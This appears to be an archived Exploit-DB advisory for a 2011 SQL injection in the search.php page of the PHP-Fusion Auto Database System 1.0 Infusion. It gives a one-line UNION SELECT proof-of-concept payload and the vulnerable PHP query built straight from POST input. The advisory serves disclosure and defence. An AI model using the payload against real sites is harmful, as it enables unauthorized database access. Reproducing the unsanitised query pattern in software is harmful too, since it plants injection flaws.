PHP-Fusion Auto Database System 1.0 Infusion SQL injection

vendor:

Auto Database System 1.0 Infusion

by:

Saif El-Sherei

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: Auto Database System 1.0 Infusion

Affected Version From: 7.01..03

Affected Version To: 7.01..03

Patch Exists: YES

Related CWE: N/A

CPE: a:php-fusion:auto_database_system_1.0_infusion

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Firefox 3.0.15, IE 8, mySQL v5

2011

PHP-Fusion Auto Database System 1.0 Infusion SQL injection

The search variable in 'search.php' is not santized before the Db query, allowing an attacker to alter the SQL query and gain remote access to the server running the infusion.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: PHP-Fusion Auto Database System 1.0 Infusion SQL injection
# Date: 8-2-2011
# Author: Saif El-Sherei
# Software Link:
http://www.php-fusion.co.uk/infusions/addondb/view.php?addon_id=146
# Version: Auto Database System 1.0 Infusion, PHP-fusion (7.01..03)
# Tested on: Firefox 3.0.15, , IE 8, mySQL v5
# Vendor Notified: vendor notified"8-2-2011", awaiting vendor response.


Info:

Auto Database System - for sales of cars.

Make new ads for cars - upload up to 5 pictures in each ad.

Info about:
- Car model/brand
- Type
- Fuel type
- Year
- Miles
- Price
- Doors
- Color
- Equipment

Print function on all pages.

Go-back-function on all pages.

Search-function for searching after brand/model.

Mouse-over the small pictures will change the big picture of the cars.

Side-panel incl. that showing the 10 Latest Incoming Cars.

SCREENSHOTS:
-------------------------
http://www.dev.dv...r_list.jpg
http://www.dev.dv...r_desc.jpg
http://www.dev.dv...ate_ad.jpg
http://www.dev.dv...in_ads.jpg

Details:

the search variable in "search.php" is not santized before the Db query,
allowing an attacker to alter the SQL query and gain remote access to the
server running the infusion.

POC:

' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#

Vulnerable Code:

$result = dbquery("SELECT * FROM ".DB_ADS." WHERE car_model like
'%".$_POST['SEARCHSTRING']."%'");
$rows = dbrows($result);